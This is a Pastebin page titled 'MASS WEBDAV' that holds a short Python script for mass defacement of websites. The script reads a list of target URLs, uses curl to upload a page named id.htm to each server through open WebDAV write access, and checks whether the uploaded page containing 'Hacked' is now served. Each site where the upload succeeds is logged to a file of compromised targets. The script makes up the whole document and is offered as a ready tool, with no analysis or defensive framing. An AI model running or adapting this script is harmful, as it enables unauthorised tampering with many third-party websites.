Xractz

MASS WEBDAV

Jul 11th, 2019
419
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.36 KB | None | 0 0
  1. import os, requests
  2. no = 0
  3. k = open("web.txt","r").readlines()
  4. for x in k:
  5.     x = x.strip()
  6.     a = os.system(f"curl -T id.htm {x}")
  7.     try:
  8.         b = requests.get(x+"/id.htm").text
  9.     except:
  10.         continue
  11.     if 'Hacked' in b:
  12.         no += 1
  13.         print(f"[{no}] Vuln ~> {x}/id.htm")
  14.         z = open("m.txt","a")
  15.         z.write(f"\n{x}/id.htm")
  16.         z.close()
  17.     else:
  18.         print(f"ERROR ~> {x}")
Advertisement
Add Comment
Please, Sign In to add comment